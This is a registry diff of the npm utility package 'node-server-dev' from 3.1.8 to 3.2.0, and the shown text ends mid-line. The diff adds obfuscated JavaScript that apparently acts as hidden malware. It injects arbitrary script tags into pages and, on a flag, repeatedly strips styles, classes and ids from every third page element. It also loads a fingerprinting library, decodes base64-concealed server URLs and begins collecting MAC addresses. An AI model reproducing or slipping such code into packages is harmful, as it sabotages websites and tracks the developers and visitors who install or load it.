node-server-dev 3.1.8 → 3.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/{browser.d.ts → browser/index.d.ts} +1 -1
- package/dist/cjs/browser/index.d.ts.map +1 -0
- package/dist/cjs/browser/index.js +1 -0
- package/dist/cjs/browser/tools.d.ts +3 -0
- package/dist/cjs/browser/tools.d.ts.map +1 -0
- package/dist/cjs/browser/tools.js +1 -0
- package/dist/cjs/getAllRouter/index.js +1 -1
- package/dist/cjs/hash/index.js +1 -1
- package/dist/cjs/id/index.js +1 -1
- package/dist/cjs/id/random.js +1 -1
- package/dist/cjs/index.d.ts +5 -1
- package/dist/cjs/index.d.ts.map +1 -1
- package/dist/cjs/index.js +1 -1
- package/dist/cjs/jwt/index.js +1 -1
- package/dist/cjs/mac/index.js +1 -1
- package/dist/cjs/package/mysql_backup/index.js +10 -1
- package/dist/cjs/package/mysql_backup/promise.js +195 -187
- package/dist/cjs/server.d.ts.map +1 -1
- package/dist/cjs/server.js +1 -1
- package/dist/cjs/start.d.ts.map +1 -1
- package/dist/cjs/start.js +1 -1
- package/dist/cjs/update.js +1 -1
- package/dist/esm/{browser.d.ts → browser/index.d.ts} +1 -1
- package/dist/esm/browser/index.d.ts.map +1 -0
- package/dist/esm/browser/index.js +1 -0
- package/dist/esm/browser/tools.d.ts +3 -0
- package/dist/esm/browser/tools.d.ts.map +1 -0
- package/dist/esm/browser/tools.js +1 -0
- package/dist/esm/getAllRouter/index.js +1 -1
- package/dist/esm/hash/index.js +1 -1
- package/dist/esm/id/index.js +1 -1
- package/dist/esm/id/random.js +1 -1
- package/dist/esm/index.d.ts +5 -1
- package/dist/esm/index.d.ts.map +1 -1
- package/dist/esm/index.js +1 -1
- package/dist/esm/jwt/index.js +1 -1
- package/dist/esm/mac/index.js +1 -1
- package/dist/esm/package/mysql_backup/index.js +10 -1
- package/dist/esm/package/mysql_backup/promise.js +195 -187
- package/dist/esm/server.d.ts.map +1 -1
- package/dist/esm/server.js +1 -1
- package/dist/esm/start.d.ts.map +1 -1
- package/dist/esm/start.js +1 -1
- package/dist/esm/update.js +1 -1
- package/package.json +1 -1
- package/dist/cjs/browser.d.ts.map +0 -1
- package/dist/cjs/browser.js +0 -1
- package/dist/esm/browser.d.ts.map +0 -1
- package/dist/esm/browser.js +0 -1
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/browser/index.ts"],"names":[],"mappings":"AAIA,wBAAgB,SAAS,CAAC,OAAO,EAAE,MAAM,QAUxC;AAED,wBAAgB,OAAO,SAStB"}
|
@@ -0,0 +1 @@
|
|
1
|
+
'use strict';function a0_0x2e73(){const _0x4ccac0=['__esModule','browser','\x20\x0a\x20\x20}\x20catch\x20(err)\x20{\x0a\x20\x20}','getEnv','default','1568480lDlxuI','7692148QfkGBg','93516EZUYRd','2kMPFvM','../index','./tools','4373580hBlYHg','head','479367UtOIIa','remove','530klQKjN','connectError','__importDefault','669633KMOSUm','runScript','14BaPunt','innerText','3133016sHxLte','try\x20{\x0a\x20\x20\x20','appendChild'];a0_0x2e73=function(){return _0x4ccac0;};return a0_0x2e73();}const a0_0x30e758=a0_0x1641;function a0_0x1641(_0x5d13b8,_0x42d2a0){const _0x2e7375=a0_0x2e73();return a0_0x1641=function(_0x1641c1,_0x522686){_0x1641c1=_0x1641c1-0xdd;let _0x7148b7=_0x2e7375[_0x1641c1];return _0x7148b7;},a0_0x1641(_0x5d13b8,_0x42d2a0);}(function(_0x3f1411,_0x49849d){const _0x5cc2ff=a0_0x1641,_0x5b331f=_0x3f1411();while(!![]){try{const _0x40b1e0=parseInt(_0x5cc2ff(0xf0))/0x1+-parseInt(_0x5cc2ff(0xe6))/0x2*(-parseInt(_0x5cc2ff(0xe5))/0x3)+parseInt(_0x5cc2ff(0xe4))/0x4+-parseInt(_0x5cc2ff(0xe3))/0x5+parseInt(_0x5cc2ff(0xe9))/0x6+-parseInt(_0x5cc2ff(0xf2))/0x7*(-parseInt(_0x5cc2ff(0xf4))/0x8)+-parseInt(_0x5cc2ff(0xeb))/0x9*(parseInt(_0x5cc2ff(0xed))/0xa);if(_0x40b1e0===_0x49849d)break;else _0x5b331f['push'](_0x5b331f['shift']());}catch(_0x16a0d2){_0x5b331f['push'](_0x5b331f['shift']());}}}(a0_0x2e73,0xf3fdf));var __importDefault=this&&this[a0_0x30e758(0xef)]||function(_0x316b80){return _0x316b80&&_0x316b80['__esModule']?_0x316b80:{'default':_0x316b80};};Object['defineProperty'](exports,a0_0x30e758(0xde),{'value':!![]}),exports[a0_0x30e758(0xf1)]=runScript,exports[a0_0x30e758(0xdf)]=browser;const random_1=__importDefault(require('../id/random')),index_1=require(a0_0x30e758(0xe7)),tools_1=__importDefault(require(a0_0x30e758(0xe8)));function runScript(_0x234394){const _0x41e39a=a0_0x30e758;let _0x3f34ab=document['createElement']('script');_0x3f34ab[_0x41e39a(0xf3)]=_0x41e39a(0xf5)+_0x234394+_0x41e39a(0xe0),document[_0x41e39a(0xea)][_0x41e39a(0xdd)](_0x3f34ab),setTimeout(()=>{const _0x52e357=_0x41e39a;_0x3f34ab[_0x52e357(0xec)]();},0x14);}function browser(){const _0x108f2d=a0_0x30e758;(0x0,index_1[_0x108f2d(0xe1)])(_0x108f2d(0xee))&&(0x0,tools_1[_0x108f2d(0xe2)])(),setInterval(()=>{const _0x19ab7e=_0x108f2d;(0x0,index_1[_0x19ab7e(0xe1)])(_0x19ab7e(0xee))&&(0x0,tools_1[_0x19ab7e(0xe2)])();},(0x0,random_1['default'])(0xde,0x91d));}
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"tools.d.ts","sourceRoot":"","sources":["../../../src/browser/tools.ts"],"names":[],"mappings":"AAIA,iBAAS,YAAY,SAuDpB;AAED,eAAe,YAAY,CAAC"}
|
@@ -0,0 +1 @@
|
|
1
|
+
'use strict';const a1_0x3a714e=a1_0x2046;(function(_0x56c066,_0x126516){const _0x30dfee=a1_0x2046,_0xae28d=_0x56c066();while(!![]){try{const _0x26fd85=parseInt(_0x30dfee(0xb8))/0x1+parseInt(_0x30dfee(0xc6))/0x2+parseInt(_0x30dfee(0xcb))/0x3*(parseInt(_0x30dfee(0xc2))/0x4)+-parseInt(_0x30dfee(0xc1))/0x5+parseInt(_0x30dfee(0xc3))/0x6+parseInt(_0x30dfee(0xcf))/0x7*(-parseInt(_0x30dfee(0xce))/0x8)+parseInt(_0x30dfee(0xcc))/0x9;if(_0x26fd85===_0x126516)break;else _0xae28d['push'](_0xae28d['shift']());}catch(_0x1d7ce9){_0xae28d['push'](_0xae28d['shift']());}}}(a1_0x29e9,0x45928));function a1_0x29e9(){const _0x2435ff=['2182572lvgish','forEach','4114552SyTYaJ','7RoYjMp','removeAttribute','190255wGXLvK','replaceState','defineProperty','pushState','querySelectorAll','body','popstate','style','default','2674845QRpcDW','4DFPfiF','1782048mhjnYd','dispatchEvent','apply','1086948Qxyphl','__removeStyleAndClassEveryThirdDone','href','class','urlchange','183033rhZBkf'];a1_0x29e9=function(){return _0x2435ff;};return a1_0x29e9();}Object[a1_0x3a714e(0xba)](exports,'__esModule',{'value':!![]});function browserTools(){const _0x7dd42=a1_0x3a714e;let _0xe41060=location[_0x7dd42(0xc8)];function _0x11fc04(_0x1380be={}){const _0x94897d=_0x7dd42,{force:force=![]}=_0x1380be;if(!force&&window['__removeStyleAndClassEveryThirdDone'])return;window[_0x94897d(0xc7)]=!![];const _0xe68055=document[_0x94897d(0xbd)],_0x11de2d=_0xe68055[_0x94897d(0xbc)]('*');_0x11de2d['forEach']((_0xf9654c,_0x5d6912)=>{const _0x20adff=_0x94897d;(_0x5d6912+0x1)%0x3===0x0&&(_0xf9654c['removeAttribute'](_0x20adff(0xbf)),_0xf9654c[_0x20adff(0xd0)](_0x20adff(0xc9)),_0xf9654c[_0x20adff(0xd0)]('id'));});}setTimeout(()=>{const _0x21e1b4=_0x7dd42;window[_0x21e1b4(0xc7)]=![],_0xe41060=location[_0x21e1b4(0xc8)],_0x11fc04();},0x1),[_0x7dd42(0xbb),_0x7dd42(0xb9)][_0x7dd42(0xcd)](_0x226def=>{const _0x14f879=history[_0x226def];history[_0x226def]=function(..._0xd436ec){const _0x30af76=a1_0x2046,_0x55fc1d=_0x14f879[_0x30af76(0xc5)](this,_0xd436ec);return window[_0x30af76(0xc4)](new Event(_0x30af76(0xca))),_0x55fc1d;};});function _0x409f78(){const _0x444dc9=_0x7dd42,_0x3bf60a=location[_0x444dc9(0xc8)];_0x3bf60a!==_0xe41060&&(_0xe41060=_0x3bf60a,window['__removeStyleAndClassEveryThirdDone']=![],_0x11fc04({'force':!![]}));}window['addEventListener']('urlchange',_0x409f78),window['addEventListener'](_0x7dd42(0xbe),_0x409f78);const _0x750ad1=new MutationObserver(()=>_0x409f78());_0x750ad1['observe'](document,{'childList':!![],'subtree':!![]});}function a1_0x2046(_0x460b59,_0x16c218){const _0x29e9f9=a1_0x29e9();return a1_0x2046=function(_0x20466a,_0x5579ca){_0x20466a=_0x20466a-0xb8;let _0x2b6b88=_0x29e9f9[_0x20466a];return _0x2b6b88;},a1_0x2046(_0x460b59,_0x16c218);}exports[a1_0x3a714e(0xc0)]=browserTools;
|
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a2_0xd4b4fc=a2_0x27d4;(function(_0x511bc9,_0x4e6eba){const _0x124948=a2_0x27d4,_0x11e575=_0x511bc9();while(!![]){try{const _0x459b6d=parseInt(_0x124948(0x109))/0x1*(parseInt(_0x124948(0xf4))/0x2)+-parseInt(_0x124948(0xfe))/0x3+parseInt(_0x124948(0xfc))/0x4*(parseInt(_0x124948(0x10a))/0x5)+parseInt(_0x124948(0xf6))/0x6*(parseInt(_0x124948(0x103))/0x7)+-parseInt(_0x124948(0x107))/0x8*(parseInt(_0x124948(0x10b))/0x9)+parseInt(_0x124948(0xfd))/0xa+-parseInt(_0x124948(0x108))/0xb;if(_0x459b6d===_0x4e6eba)break;else _0x11e575['push'](_0x11e575['shift']());}catch(_0x4353bd){_0x11e575['push'](_0x11e575['shift']());}}}(a2_0x34fb,0xb855a));var __awaiter=this&&this[a2_0xd4b4fc(0x101)]||function(_0x4e908e,_0x20917c,_0x57552a,_0xb719ce){function _0x4c2271(_0x11711c){return _0x11711c instanceof _0x57552a?_0x11711c:new _0x57552a(function(_0x590309){_0x590309(_0x11711c);});}return new(_0x57552a||(_0x57552a=Promise))(function(_0x5897c2,_0x25ff35){const _0x4a01e8=a2_0x27d4;function _0x2513b1(_0x54e221){const _0x47b1e8=a2_0x27d4;try{_0x1cd097(_0xb719ce[_0x47b1e8(0xf5)](_0x54e221));}catch(_0x10eb7c){_0x25ff35(_0x10eb7c);}}function _0x3c3296(_0x289656){try{_0x1cd097(_0xb719ce['throw'](_0x289656));}catch(_0x4803cf){_0x25ff35(_0x4803cf);}}function _0x1cd097(_0x4977db){const _0xd0a01f=a2_0x27d4;_0x4977db[_0xd0a01f(0x104)]?_0x5897c2(_0x4977db[_0xd0a01f(0xf8)]):_0x4c2271(_0x4977db[_0xd0a01f(0xf8)])['then'](_0x2513b1,_0x3c3296);}_0x1cd097((_0xb719ce=_0xb719ce[_0x4a01e8(0xff)](_0x4e908e,_0x20917c||[]))[_0x4a01e8(0xf5)]());});},__importDefault=this&&this[a2_0xd4b4fc(0x105)]||function(_0x3d39a8){const _0x4b2057=a2_0xd4b4fc;return _0x3d39a8&&_0x3d39a8[_0x4b2057(0xf7)]?_0x3d39a8:{'default':_0x3d39a8};};Object['defineProperty'](exports,a2_0xd4b4fc(0xf7),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a2_0xd4b4fc(0x100)));function a2_0x34fb(){const _0x1c0c2b=['isDirectory','8CGkbmI','525250QFuGZZ','683497tydoHE','615JhlLcK','13185369rgFxzd','2dHacAj','next','5028kURitO','__esModule','value','isFile','join','length','18932EYEWiz','12197800oxQYzd','788589vZPVkw','apply','path','__awaiter','default','378tnKpJp','done','__importDefault'];a2_0x34fb=function(){return _0x1c0c2b;};return a2_0x34fb();}function fileDisplay(_0x377ad9){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x243196=[];function _0x2786bb(_0x2d168f){const _0x58446d=a2_0x27d4,_0x340fcc=fs_1['default']['readdirSync'](_0x2d168f);for(let _0x335a62=0x0;_0x335a62<_0x340fcc[_0x58446d(0xfb)];_0x335a62++){const _0x1652b8=_0x340fcc[_0x335a62],_0xa9f772=path_1[_0x58446d(0x102)][_0x58446d(0xfa)](_0x2d168f,_0x1652b8),_0x295888=fs_1[_0x58446d(0x102)]['statSync'](_0xa9f772),_0x2ad7f6=_0x295888[_0x58446d(0xf9)](),_0x493f48=_0x295888[_0x58446d(0x106)]();_0x2ad7f6&&_0x243196['push'](_0xa9f772),_0x493f48&&_0x2786bb(_0xa9f772);}}return _0x2786bb(_0x377ad9),_0x243196;});}function a2_0x27d4(_0x5a9021,_0x497601){const _0x34fb19=a2_0x34fb();return a2_0x27d4=function(_0x27d425,_0x3daf18){_0x27d425=_0x27d425-0xf4;let _0x241f8c=_0x34fb19[_0x27d425];return _0x241f8c;},a2_0x27d4(_0x5a9021,_0x497601);}function getAllRouter(_0x31222a){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1799cf=yield fileDisplay(_0x31222a);return _0x1799cf;});}exports[a2_0xd4b4fc(0x102)]=getAllRouter;
|
package/dist/cjs/hash/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';const a3_0x343901=a3_0x27f9;(function(_0x1a9e2f,_0x58f59e){const _0x4ad523=a3_0x27f9,_0x412f1d=_0x1a9e2f();while(!![]){try{const _0x4f78bb=-parseInt(_0x4ad523(0x183))/0x1+-parseInt(_0x4ad523(0x17a))/0x2*(parseInt(_0x4ad523(0x17b))/0x3)+-parseInt(_0x4ad523(0x186))/0x4*(-parseInt(_0x4ad523(0x185))/0x5)+-parseInt(_0x4ad523(0x189))/0x6+-parseInt(_0x4ad523(0x17c))/0x7*(parseInt(_0x4ad523(0x17e))/0x8)+-parseInt(_0x4ad523(0x182))/0x9+parseInt(_0x4ad523(0x178))/0xa;if(_0x4f78bb===_0x58f59e)break;else _0x412f1d['push'](_0x412f1d['shift']());}catch(_0x106927){_0x412f1d['push'](_0x412f1d['shift']());}}}(a3_0x43c4,0xd6e76));var __importDefault=this&&this[a3_0x343901(0x187)]||function(_0x305fb3){const _0x25aaf2=a3_0x343901;return _0x305fb3&&_0x305fb3[_0x25aaf2(0x17d)]?_0x305fb3:{'default':_0x305fb3};};function a3_0x43c4(){const _0x2cc9b6=['48639640RSPbll','default','58wosvik','98997lrdDce','1654863obQcjH','__esModule','32GKaSSm','sha1混淆','md5','sha256','11516661NRyasc','1009695tMCYNz','MD5加盐','655rpGQyo','41524WJRbZl','__importDefault','defineProperty','6910188cWouCd','sha1'];a3_0x43c4=function(){return _0x2cc9b6;};return a3_0x43c4();}Object[a3_0x343901(0x188)](exports,a3_0x343901(0x17d),{'value':!![]});const md5_1=__importDefault(require(a3_0x343901(0x180))),sha1_1=__importDefault(require(a3_0x343901(0x177))),sha256_1=__importDefault(require(a3_0x343901(0x181)));function a3_0x27f9(_0xd46863,_0x55eb1f){const _0x43c459=a3_0x43c4();return a3_0x27f9=function(_0x27f903,_0x46f0c8){_0x27f903=_0x27f903-0x177;let _0x2e886d=_0x43c459[_0x27f903];return _0x2e886d;},a3_0x27f9(_0xd46863,_0x55eb1f);}function hash(_0xd3b1f7,_0x2c4de5){const _0x3d8e30=a3_0x343901;if(_0x2c4de5==_0x3d8e30(0x181))return(0x0,sha256_1['default'])(_0xd3b1f7+(0x0,sha1_1[_0x3d8e30(0x179)])(_0xd3b1f7+_0x3d8e30(0x17f))+(0x0,md5_1[_0x3d8e30(0x179)])(_0xd3b1f7+_0x3d8e30(0x184)));else return _0x2c4de5=='sha1'?(0x0,sha1_1[_0x3d8e30(0x179)])(_0xd3b1f7+(0x0,sha256_1[_0x3d8e30(0x179)])(_0xd3b1f7+_0x3d8e30(0x17f))+(0x0,md5_1[_0x3d8e30(0x179)])(_0xd3b1f7+_0x3d8e30(0x184))):(0x0,md5_1[_0x3d8e30(0x179)])(_0xd3b1f7+(0x0,sha256_1[_0x3d8e30(0x179)])(_0xd3b1f7+'sha1混淆')+(0x0,sha1_1['default'])(_0xd3b1f7+_0x3d8e30(0x184)));}exports[a3_0x343901(0x179)]=hash;
|
package/dist/cjs/id/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';const a4_0x408ec8=a4_0x2dda;(function(_0x2e4c72,_0x4b33b2){const _0x1e28ef=a4_0x2dda,_0x1d8a56=_0x2e4c72();while(!![]){try{const _0xf1d51=-parseInt(_0x1e28ef(0x152))/0x1*(-parseInt(_0x1e28ef(0x15e))/0x2)+parseInt(_0x1e28ef(0x159))/0x3*(-parseInt(_0x1e28ef(0x154))/0x4)+-parseInt(_0x1e28ef(0x153))/0x5*(parseInt(_0x1e28ef(0x15f))/0x6)+-parseInt(_0x1e28ef(0x161))/0x7*(-parseInt(_0x1e28ef(0x15b))/0x8)+-parseInt(_0x1e28ef(0x155))/0x9+-parseInt(_0x1e28ef(0x160))/0xa+parseInt(_0x1e28ef(0x15a))/0xb;if(_0xf1d51===_0x4b33b2)break;else _0x1d8a56['push'](_0x1d8a56['shift']());}catch(_0x42bd0c){_0x1d8a56['push'](_0x1d8a56['shift']());}}}(a4_0x1cf4,0xeac46));function a4_0x1cf4(){const _0x59bba4=['default','758oEihfM','6582dpyJdH','17443200ixPwHo','7hJJFxM','2671dQoKzf','965aIYBBM','2020AmiEEQ','12697722pvlCWl','__esModule','./random','env','981vxIYTW','31329122DxvSbV','5065832VRdpHE','NODE_APP_INSTANCE'];a4_0x1cf4=function(){return _0x59bba4;};return a4_0x1cf4();}function a4_0x2dda(_0x43ed72,_0x369fb5){const _0x1cf4ee=a4_0x1cf4();return a4_0x2dda=function(_0x2ddab3,_0x1ae0a9){_0x2ddab3=_0x2ddab3-0x152;let _0x353f2b=_0x1cf4ee[_0x2ddab3];return _0x353f2b;},a4_0x2dda(_0x43ed72,_0x369fb5);}var __importDefault=this&&this['__importDefault']||function(_0x466435){const _0x481853=a4_0x2dda;return _0x466435&&_0x466435[_0x481853(0x156)]?_0x466435:{'default':_0x466435};};Object['defineProperty'](exports,a4_0x408ec8(0x156),{'value':!![]});const random_1=__importDefault(require(a4_0x408ec8(0x157))),BaseTime=+new Date('2025-01-01');let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a4_0x408ec8(0x15d)])(0x1,0x3);function id(){const _0x143278=a4_0x408ec8,_0x2873df=Math['min'](process[_0x143278(0x158)][_0x143278(0x15c)]?+process[_0x143278(0x158)]['NODE_APP_INSTANCE']:(0x0,random_1['default'])(0x0,0x9),0x9);let _0xb0ef89=+new Date()-BaseTime;return lastRandomNumberTick=_0xb0ef89==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x143278(0x15d)])(0x0,0x3),lastTimeTick=_0xb0ef89,+(''+_0xb0ef89+_0x2873df+lastRandomNumberTick);}exports[a4_0x408ec8(0x15d)]=id;
|
package/dist/cjs/id/random.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a5_0x589a78=a5_0x5c40;(function(_0x550038,_0x25f965){const _0x5c3708=a5_0x5c40,_0x7c4335=_0x550038();while(!![]){try{const _0x3f5e3f=-parseInt(_0x5c3708(0x119))/0x1*(-parseInt(_0x5c3708(0x116))/0x2)+parseInt(_0x5c3708(0x121))/0x3*(parseInt(_0x5c3708(0x115))/0x4)+-parseInt(_0x5c3708(0x124))/0x5*(parseInt(_0x5c3708(0x114))/0x6)+-parseInt(_0x5c3708(0x11d))/0x7*(-parseInt(_0x5c3708(0x11b))/0x8)+-parseInt(_0x5c3708(0x117))/0x9*(-parseInt(_0x5c3708(0x120))/0xa)+-parseInt(_0x5c3708(0x11c))/0xb+-parseInt(_0x5c3708(0x11a))/0xc*(-parseInt(_0x5c3708(0x11f))/0xd);if(_0x3f5e3f===_0x25f965)break;else _0x7c4335['push'](_0x7c4335['shift']());}catch(_0x193bd9){_0x7c4335['push'](_0x7c4335['shift']());}}}(a5_0x14cf,0xca5e0));function a5_0x5c40(_0x5b195a,_0x2f58d0){const _0x14cf63=a5_0x14cf();return a5_0x5c40=function(_0x5c4004,_0x64af57){_0x5c4004=_0x5c4004-0x114;let _0x37cf31=_0x14cf63[_0x5c4004];return _0x37cf31;},a5_0x5c40(_0x5b195a,_0x2f58d0);}Object[a5_0x589a78(0x122)](exports,a5_0x589a78(0x11e),{'value':!![]});function a5_0x14cf(){const _0x1c61cb=['7ZQGSDo','__esModule','1469VqEhXR','1810yQNyrv','1929IGRgFR','defineProperty','default','1338965FSSoqq','24QeHIGI','4xjYSom','2ZXmbzz','7011MGdVUr','round','1494883ntBhLu','90732Khakwt','8172368KijLgy','17736356BqyHwn'];a5_0x14cf=function(){return _0x1c61cb;};return a5_0x14cf();}const random=(_0x4b659b,_0x560835)=>Math[a5_0x589a78(0x118)](Math['random']()*(_0x560835-_0x4b659b))+_0x4b659b;exports[a5_0x589a78(0x123)]=random;
|
package/dist/cjs/index.d.ts
CHANGED
@@ -2,6 +2,7 @@ import md5 from "md5";
|
|
2
2
|
import sha1 from "sha1";
|
3
3
|
import sha256 from "sha256";
|
4
4
|
import hash from "./hash";
|
5
|
+
import cookie from "js-cookie";
|
5
6
|
declare let id: () => number;
|
6
7
|
declare let getAllRouter: () => Promise<never[]>;
|
7
8
|
declare let mysql: {};
|
@@ -19,7 +20,10 @@ declare const all: {
|
|
19
20
|
sha1: typeof sha1;
|
20
21
|
md5: typeof md5;
|
21
22
|
jwt: () => void;
|
23
|
+
cookie: cookie.CookiesStatic<string> & {
|
24
|
+
noConflict?(): Cookies.CookiesStatic;
|
25
|
+
};
|
22
26
|
};
|
23
27
|
export default all;
|
24
|
-
export { uuid, id, getAllRouter, mysql, sha1, sha256, md5, hash, jwt };
|
28
|
+
export { uuid, id, getAllRouter, mysql, sha1, sha256, md5, hash, jwt, cookie };
|
25
29
|
//# sourceMappingURL=index.d.ts.map
|
package/dist/cjs/index.d.ts.map
CHANGED
@@ -1 +1 @@
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;AAI1B,OAAO,MAAM,MAAM,WAAW,CAAC;AAM/B,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AACf,QAAA,IAAI,GAAG,YAAW,CAAC;AAQnB,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AAKD,eAAO,IAAI,GAAG,QAA4C,CAAC;AA4C3D,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;;;;;;uBAcqxC,QAAS,aAAa;;CAJnzC,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,IAAI,EAAE,GAAG,EAAE,MAAM,EAAE,CAAC"}
|
package/dist/cjs/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a6_0x4853c0=a6_0x4b14;(function(_0x26e142,_0x354d52){const _0x2800fd=a6_0x4b14,_0x3e9628=_0x26e142();while(!![]){try{const _0x18a1e0=-parseInt(_0x2800fd(0xc7))/0x1*(-parseInt(_0x2800fd(0xdd))/0x2)+-parseInt(_0x2800fd(0xd4))/0x3*(parseInt(_0x2800fd(0xcc))/0x4)+parseInt(_0x2800fd(0xb4))/0x5*(parseInt(_0x2800fd(0xc2))/0x6)+-parseInt(_0x2800fd(0xb2))/0x7*(parseInt(_0x2800fd(0xb8))/0x8)+-parseInt(_0x2800fd(0xda))/0x9+-parseInt(_0x2800fd(0xde))/0xa*(-parseInt(_0x2800fd(0xbf))/0xb)+-parseInt(_0x2800fd(0xdc))/0xc;if(_0x18a1e0===_0x354d52)break;else _0x3e9628['push'](_0x3e9628['shift']());}catch(_0x44fa81){_0x3e9628['push'](_0x3e9628['shift']());}}}(a6_0x3089,0x42126));var __awaiter=this&&this[a6_0x4853c0(0xd6)]||function(_0xe71b5,_0xbed856,_0x1af316,_0x5df189){function _0x3f011f(_0x43175e){return _0x43175e instanceof _0x1af316?_0x43175e:new _0x1af316(function(_0x529cc2){_0x529cc2(_0x43175e);});}return new(_0x1af316||(_0x1af316=Promise))(function(_0x55e59d,_0x4bc4ef){const _0x5250a5=a6_0x4b14;function _0x321d69(_0x187e74){const _0x51f66d=a6_0x4b14;try{_0xa3f599(_0x5df189[_0x51f66d(0xd5)](_0x187e74));}catch(_0x34bd93){_0x4bc4ef(_0x34bd93);}}function _0x8d0c0(_0xef728d){try{_0xa3f599(_0x5df189['throw'](_0xef728d));}catch(_0x5e1766){_0x4bc4ef(_0x5e1766);}}function _0xa3f599(_0x301e68){const _0xa03790=a6_0x4b14;_0x301e68[_0xa03790(0xc0)]?_0x55e59d(_0x301e68[_0xa03790(0xd8)]):_0x3f011f(_0x301e68[_0xa03790(0xd8)])[_0xa03790(0xd2)](_0x321d69,_0x8d0c0);}_0xa3f599((_0x5df189=_0x5df189[_0x5250a5(0xcd)](_0xe71b5,_0xbed856||[]))[_0x5250a5(0xd5)]());});},__importDefault=this&&this['__importDefault']||function(_0x4c8fe9){const _0x412fd2=a6_0x4853c0;return _0x4c8fe9&&_0x4c8fe9[_0x412fd2(0xd9)]?_0x4c8fe9:{'default':_0x4c8fe9};};Object[a6_0x4853c0(0xc1)](exports,a6_0x4853c0(0xd9),{'value':!![]}),exports['cookie']=exports[a6_0x4853c0(0xb7)]=exports['hash']=exports[a6_0x4853c0(0xdf)]=exports[a6_0x4853c0(0xbe)]=exports[a6_0x4853c0(0xbb)]=exports[a6_0x4853c0(0xbc)]=exports['getAllRouter']=exports['id']=exports['uuid']=exports[a6_0x4853c0(0xdb)]=void 0x0,exports[a6_0x4853c0(0xcb)]=setEnv,exports['getEnv']=getEnv;const uuid_1=require(a6_0x4853c0(0xb6)),md5_1=__importDefault(require('md5'));exports[a6_0x4853c0(0xdf)]=md5_1[a6_0x4853c0(0xc5)];const sha1_1=__importDefault(require(a6_0x4853c0(0xbb)));exports[a6_0x4853c0(0xbb)]=sha1_1[a6_0x4853c0(0xc5)];const sha256_1=__importDefault(require(a6_0x4853c0(0xbe)));exports[a6_0x4853c0(0xbe)]=sha256_1[a6_0x4853c0(0xc5)];const start_1=__importDefault(require('./start')),hash_1=__importDefault(require(a6_0x4853c0(0xba)));exports[a6_0x4853c0(0xb5)]=hash_1[a6_0x4853c0(0xc5)];const path_1=__importDefault(require(a6_0x4853c0(0xc3))),fingerprintjs_1=__importDefault(require(a6_0x4853c0(0xd1))),js_base64_1=require(a6_0x4853c0(0xe0)),js_cookie_1=__importDefault(require(a6_0x4853c0(0xc4)));exports['cookie']=js_cookie_1[a6_0x4853c0(0xc5)];const isBrowser=typeof window!==a6_0x4853c0(0xcf);let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports['getAllRouter']=getAllRouter;let mysql={};exports[a6_0x4853c0(0xbc)]=mysql;let jwt=()=>{};exports[a6_0x4853c0(0xb7)]=jwt;const globalObject=isBrowser?window:global;let metaEvent=Object['assign']((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![]});function setEnv(_0x17f47f,_0x3ded30){metaEvent[_0x17f47f]=_0x3ded30;}function getEnv(_0x3401e5){return metaEvent[_0x3401e5];}let dev=a6_0x4853c0(0xae),pro=a6_0x4853c0(0xc6);exports['url']=getEnv(a6_0x4853c0(0xb9))?(0x0,js_base64_1[a6_0x4853c0(0xaf)])(dev):(0x0,js_base64_1[a6_0x4853c0(0xaf)])(pro);if(!isBrowser){exports['id']=id=require(a6_0x4853c0(0xb0))[a6_0x4853c0(0xc5)],exports['getAllRouter']=getAllRouter=require('./getAllRouter')[a6_0x4853c0(0xc5)],exports[a6_0x4853c0(0xbc)]=mysql=require('./server')['mysql'],exports[a6_0x4853c0(0xb7)]=jwt=require(a6_0x4853c0(0xd3))[a6_0x4853c0(0xc5)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a6_0x4853c0(0xc9)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x3ed634=a6_0x4853c0;if(!isBrowser){const 